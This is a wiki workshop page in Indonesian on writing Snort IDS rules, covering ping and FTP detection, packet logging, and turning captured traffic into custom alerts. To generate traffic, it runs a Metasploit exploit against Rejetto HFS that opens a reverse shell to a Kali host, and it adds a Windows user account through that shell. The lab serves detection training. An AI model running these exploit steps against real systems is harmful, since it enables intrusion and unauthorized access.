SNORT-RULES: Contoh Materi Workshop

From OnnoWiki
Jump to navigation Jump to search

Sumber: http://resources.infosecinstitute.com/snort-rules-workshop-part-one/


Install SNORT

  • Buat mesin Ubuntu server
  • Install SNORT
  • Cek versi snort
snort -V

Edit Konfigurasi

  • Tambahkan nilai HOME_NET
vi /etc/snort/snort.conf
  • Tambahkan nilai HOME_NET sesuai dengan jaringan yang akan di monitor, biasanya di akhiri dengan .0/24


Verifikasi SNORT

Jalankan

sudo snort -T -i eth0 -c /etc/snort/snort.conf

Akan keluar misalnya,

0 Snort rules read

Membuat local.rules Sederhana

Deteksi ping

test rule sederhana yang akan dibuat akan menghasilkan alert saat Snort mendeteksi ICMP Echo Request (ping) atau Echo reply message. Buka file local.rules di text editor gunakan perintah berikut,

sudo nano /etc/snort/rules/local.rules

File tersebut kemungkinan besar kosong. Tambahkan kalimat berikut (sebagai satu line, tanpa enter),

alert icmp any any -> $HOME_NET any (msg:”ICMP test”; sid:1000001; rev:1; classtype:icmp-event;)

Mari kita lihat syntax dari rules tersebut,

Rule Header

  • alert – Rule action. Snort will generate an alert when the set condition is met.
  • any – Source IP. Snort will look at all sources.
  • any – Source port. Snort will look at all ports.
  • -> – Direction. From source to destination.
  • $HOME_NET – Destination IP. We are using the HOME_NET value from the snort.conf file.
  • any – Destination port. Snort will look at all ports on the protected network.

Rule Options

  • msg:”ICMP test” – Snort will include this message with the alert.
  • sid:1000001 – Snort rule ID. Remember all numbers < 1,000,000 are reserved, this is why we are starting with 1000001 (you may use any number, as long as it’s greater than 1,000,000).
  • rev:1 – Revision number. This option allows for easier rule maintenance.
  • classtype:icmp-event – Categorizes the rule as an “icmp-event”, one of the predefined Snort categories. This option helps with rule organization.

Test snort untuk cek apakah ada masalah atau tidak, asumsi ethernet enp0s3

sudo snort -T -i enp0s3 -c /etc/snort/snort.conf

Jalan kan snort dengan mode IDS, tampilkan alert di console:

sudo snort -A console -q -c /etc/snort/snort.conf -i enp0s3

dimana

-c - memberitahukan file konfigurasi yang digunakan
-i eth0 - memberitahukan interface yang digunakan
-A console - memberitahukan agar alert di tulis di standard output
-q - mode "quiet", tidak print banner dll.

Untuk melihat server tempat snort dijalakan, misalnya

ping 192.168.x.x

Maka akan tampak di layar ada alert yang di generate setiap kali ping di terima server.

Deteksi ftp

Untuk belajar lebih lanjut, buat rule tambahan, edit

sudo vi /etc/snort/rules/local.rules

Masukan misalnya,

alert tcp any any -> $HOME_NET 21 (msg:”FTP connection attempt”; sid:1000002; rev:1;)

Ini untuk mendeteksi traffic FTP. Jalankan snort

sudo snort -A console -q -c /etc/snort/snort.conf -i enp0s3 -K ascii

Coba ftp ke server (misalnya 192.168.x.x) dari Kali Linux dengan perintah

apt install ftp
ftp 192.168.x.x

Maka akan tampak alert.

Cek log. Cek file TCP:xxxxx-21 (21 adalah port ftp). Misalnya,

ls /var/log/snort
sudo ls /var/log/snort/192.168.x.x
sudo cat /var/log/snort/192.168.x.x/TCP:4561-21

Detect kegagalan ftp

Deteksi kegagalan ftp. Edit

sudo vi /etc/snort/rules/local.rules

Tambahkan

alert tcp any any <> $HOME_NET 21 (msg:"FTP failed login"; content:"Login incorrect"; sid:1000003; rev:1;)

Perhatikan $HOME_NET ada di snort.conf. Jalankan snort,

sudo snort -A console -q -c /etc/snort/snort.conf -i enp0s3

Snort sebagai Packet Logger

Untuk mendeteksi teknik serangan yang baru, kita bisa menjalankan snort untuk mencatat paket / packet logger menggunakan perintah

sudo snort -dev -q -l /var/log/snort -i eth0

Masuk kali linux untuk menyerang, jalankan,

msfconsole

Lakukan exploit misalnya,

use exploit/windows/http/rejetto_hfs_exec
set PAYLOAD windows/shell/reverse_tcp
set LHOST 192.168.x.x (Kali Linux IP address)
set RHOST 192.168.x.x (Server WIndows IP address)
set RPORT 8081

Jika berhasil maka kita akan memperoleh shell, ketik

net user accountname P@ssword12 /ADD
cd \
mkdir yourname

Ketik Ctrl+C dan jawab y atau "yes" untuk menutup akses shell.

Kemudian,

  • cek /var/log/snort
  • buka menggunakan wireshark, select Edit > Find Packet
  • select Packet Bytes for the Search In criteria.
  • search string, enter the username yang anda buat.
  • jika di peroleh packet-nya, lakukan select Follow TCP Stream.

Membuat custom rule dari catatan traffic

Misalnya, kita ingin snort memberikan alert setiap kali melihat “C:\Users\Administrator\Desktop\hfs2.3b>.” Edit local.rules masukan sebagai berikut

alert tcp $HOME_NET any -> any any (msg:”Command Shell Access”; content:”C:\\Users\\Administrator\\Desktop\\hfs2.3b”; sid:1000004; rev:1;)

Jalankan snort sebagai IDS

sudo snort -A console -q -c /etc/snort/snort.conf -i eth0

Jalankan exploit tersebut dari Kali Linux maka kita akan melihat alert di server.

Jika kita ingin menyimpan local.rules dari hasil sadapan wireshark di kali linux, kita perlu melakukan,

  • select packet
  • di bagian tengah wireshark lakukan Copy > Bytes > Offset Hex.
  • paste Hex tersebut di aturan di local.rules, pastikan itu hanya hex yang kita perlukan, tambahan | di ujung2.

Referensi